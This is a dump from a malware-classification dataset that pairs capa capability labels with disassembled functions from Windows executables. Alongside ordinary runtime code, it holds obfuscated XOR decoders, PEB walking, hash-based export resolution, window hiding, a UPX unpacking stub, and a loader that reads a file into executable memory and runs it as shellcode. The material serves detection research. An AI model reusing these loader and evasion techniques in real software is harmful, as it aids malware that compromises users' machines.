joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42de17
Capabilities:
Create thread
Resume thread

Disassembly:
mov edi, edi
push esi
mov esi, ecx
push edi
xor edi, edi
cmp dword [esi + 0x10], edi
jne 0x42de3d
push edi
push edi
push edi
push edi
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_CreateEventW]
mov dword [esi + 0x10], eax
test eax, eax
jne 0x42de3d
pop edi
mov eax, 0x80004005
pop esi
ret
cmp dword [esi + 0x14], edi
jne 0x42de53
push edi
push edi
push edi
push edi
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_CreateEventW]
mov dword [esi + 0x14], eax
test eax, eax
je 0x42de35
pop edi
mov ecx, esi
pop esi
jmp 0x42dfc1
mov edi, edi
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0xc], ebx
jne 0x42e018
lea edi, [esi + 8]
push edi
push 0x42e040
push 4
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleExW]
test eax, eax
je 0x42e00a
cmp dword [edi], ebx
je 0x42e00a
push ebx
push 4
push esi
push 0x42e040
push ebx
push ebx
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_CreateThread]
mov dword [esi + 0xc], eax
test eax, eax
jne 0x42e011
push dword [edi]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_FreeLibrary]
mov dword [edi], ebx
mov eax, 0x80004005
jmp 0x42e036
push eax
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_ResumeThread]
push 0x7d0
push dword [esi + 0x14]
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitForSingleObject]
cmp dword [esi + 0x1c], ebx
jne 0x42e034
mov ecx, esi
call fcn.0042de61
jmp 0x42e00a
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x42f1a0
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x4366b8
call fcn.0042f7f4
and dword [ebp - 0x24], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetStartupInfoW]
mov dword [ebp - 4], 0xfffffffe
xor ebx, ebx
inc ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov edi, dword [eax + 4]
xor esi, esi
mov edx, 0x437de8
mov ecx, edi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x42efa5
cmp eax, edi
jne 0x42efb7
mov esi, ebx
cmp dword [0x437dec], ebx
jne 0x42efc4
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x42eff3
push 0x3e8
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x42ef8e
cmp dword [0x437dec], 0
jne 0x42efed
mov dword [0x437dec], ebx
push 0x401078
push 0x40106c
call fcn.0042f144
pop ecx
pop ecx
test eax, eax
je 0x42eff3
jmp 0x42f12d
mov dword [0x4373d8], ebx
cmp dword [0x437dec], ebx
jne 0x42f016
push 0x401068
push section..text
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x437dec], 2
test esi, esi
jne 0x42f023
xor eax, eax
mov ecx, 0x437de8
xchg dword [ecx], eax
cmp dword [0x437df8], 0
je 0x42f051
push 0x437df8
call fcn.0042f620
pop ecx
test eax, eax
je 0x42f051
push 0
push 2
push 0
mov esi, dword [0x437df8]
mov ecx, esi
call dword [0x438374]
call esi
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
mov ecx, dword [eax]
test ecx, ecx
je 0x42f12d
mov dword [ebp - 0x20], ecx
push 0x20
pop esi
mov edx, dword [ebp - 0x24]
movzx eax, word [ecx]
cmp ax, si
ja 0x42f0c1
test ax, ax
je 0x42f07a
test edx, edx
jne 0x42f0c1
movzx eax, word [ecx]
test ax, ax
je 0x42f08f
cmp ax, si
ja 0x42f08f
add ecx, 2
mov dword [ebp - 0x20], ecx
jmp 0x42f07a
test byte [ebp - 0x40], 1
je 0x42f09b
movzx eax, word [ebp - 0x3c]
jmp 0x42f09e
push 0xa
pop eax
push eax
push ecx
push 0
push 0x400000
call main
mov dword [0x4373d4], eax
cmp dword [0x4373ec], 0
jne 0x42f109
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp eax, 0x22
jne 0x42f0d2
xor eax, eax
test edx, edx
sete al
mov edx, eax
mov dword [ebp - 0x24], edx
add ecx, 2
mov dword [ebp - 0x20], ecx
jmp 0x42f069
cmp dword [0x4373d8], 0
jne 0x42f11d
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x4373d4]
mov dword [ebp - 4], 0xfffffffe
jmp 0x42f139
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.0042f83c
ret
call fcn.0042f728
jmp 0x42ef58

Function at 0x42f50f
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x436758
call fcn.0042faa4
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x42f56f
cmp eax, 0xffffffff
je 0x42f56f
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x42f568
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x42f568
cmp edx, 0x10000000
jae 0x42f568
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x42f565
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.0042fae9
ret 4
Function at 0x42f5d0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x42f60e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x42f606
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x42f610
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x42f5f6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x42f6f0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x42f706
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x42f721
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x10024890
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x100248ce
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x100248c6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x100248d0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x100248b6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100249a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x100249d1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100249d1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x100249d1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x100304c3
Capabilities:
Encode data using xor

Disassembly:
call 0x1003043c
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1003046c
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x10030488
xor edx, 0
jmp 0x10030493
xor edx, edx
jmp 0x100304aa
jmp 0x100304b6
xor eax, eax
push 0x8427d7c0
call 0x100304c3
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100304ff
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100304d8
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x10030516
add eax, 0
jno 0x1003051b
add esi, 0
ret 0x10
Function at 0x10031284
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100312a6
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x10031448
cmp edi, dword [ebp + 0x10]
jb 0x10031448
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10030d70
inc edi
jmp 0x1003132f
jmp 0x1003133c
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10030d70
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10030d70
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x10031390
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x10031374
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100313be
add dword [eax], 0x39
jle 0x1003139a
sub al, 0xf5
mov ch, al
call fcn.100313d3
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x100330ab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x100330c1
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x100330d2
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.10033113
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x1003547f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100353c8
add ebx, 0
push ecx
call 0x100353dd
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x73a56373
sub ebx, dword [0x73a75bb2]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x73a75ba2
call fcn.10030ea7
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100303b5
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1003553b
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1003553b
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100354f2
mov eax, 1
lock xchg dword [0x73a75bae], eax
push 0x3dd1fc71
call 0x1003547f
push esi
add esp, 8
cmp eax, 0
jne 0x10035468
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1003548e
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100354a3
cmp ecx, edx
cmp eax, 0
je 0x100354c8
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100354b2
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100354e1
dec eax
loope 0x100354e4
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x73a75bae], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x10035518
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1003552d
jmp 0x10035538
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x10035426
Function at 0x1003c5a0
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1003c876
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x73a62826
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x73a597ec
push 0xffffffffffffffff
call fcn.100337a0
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1003c60a
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1003c622
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1003c86a
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1003c83e
Function at 0x1004c070
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1004c092
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1004c092
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1004c092
ret
cmp word [ebx + 4], 0x14c
jne 0x1004c092
test word [ebx + 0x16], 2
je 0x1004c092
test word [ebx + 0x16], 0x100
je 0x1004c092
cmp word [ebx + 0x18], 0x10b
jne 0x1004c092
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1004c092
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1004c11e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1004c0b2
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10032ffd
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1004c092
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1004c11e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1004c092
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1004c092
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1004c092
ret
cmp word [ebx + 4], 0x14c
jne 0x1004c092
test word [ebx + 0x16], 2
je 0x1004c092
test word [ebx + 0x16], 0x100
je 0x1004c092
cmp word [ebx + 0x18], 0x10b
jne 0x1004c092
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1004c092
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1004c11e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1004c0b2
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10032ffd
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1004c092
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1004c1d5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1004c22e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1004c1d5
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1004c1e4
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10451e87
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1004c235
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100330ab
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1004c2d4
add edi, 4
add eax, 2
dec ecx
jne 0x1004c21a
call 0x1004c281
loope 0x1004c277
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1004c2d1
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1004c2e2
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1004c295
cmp eax, ecx
ja 0x1004c295
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1004c31f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1004c315
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1003358a
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1004c1e4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1004c22e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1004c1d5
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1004c1e4
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10451e87
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1004c235
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100330ab
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1004c2d4
add edi, 4
add eax, 2
dec ecx
jne 0x1004c21a
call 0x1004c281
loope 0x1004c277
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1004c2d1
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1004c2e2
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1004c295
cmp eax, ecx
ja 0x1004c295
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1004c31f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1004c315
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1003358a
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x40893d
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
add ecx, 1
call fcn.0040895a
dec ecx
xor dword [ebx], edi
and ecx, ecx
inc ebx
cmp ebx, eax
jne fcn.0040893d
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x1458080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x96b000]
push edi
or ebp, 0xffffffff
jmp 0x14580a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x14580a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1458098
mov eax, 1
add ebx, ebx
jne 0x14580bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x14580cc
jne 0x14580eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x14580eb
dec eax
add ebx, ebx
jne 0x14580d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x14580b0
add ebx, ebx
jne 0x14580e7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x145813d
xor ecx, ecx
sub eax, 3
jb 0x1458103
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1458172
sar eax, 1
mov ebp, eax
jmp 0x145810e
add ebx, ebx
jne 0x145810e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x14580dc
inc ecx
add ebx, ebx
jne 0x145811c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x14580dc
add ebx, ebx
jne 0x1458129
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x145811e
jne 0x145813a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x145811e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x145815c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x145814e
jmp 0x145809e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x145815c
add edi, ecx
jmp 0x145809e
pop esi
lea edi, [esi + 0x1034000]
mov eax, dword [edi]
or eax, eax
je 0x14581c4
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1059d68]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1059f68]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1458179
mov ecx, edi
jns 0x14581a8
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1059f70]
or eax, eax
je 0x14581be
mov dword [ebx], eax
add ebx, 4
jmp 0x1458196
call dword [esi + 0x1059f6c]
mov ebp, dword [esi + 0x1059f74]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x257]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x14581f8
sub esp, 0xffffff80
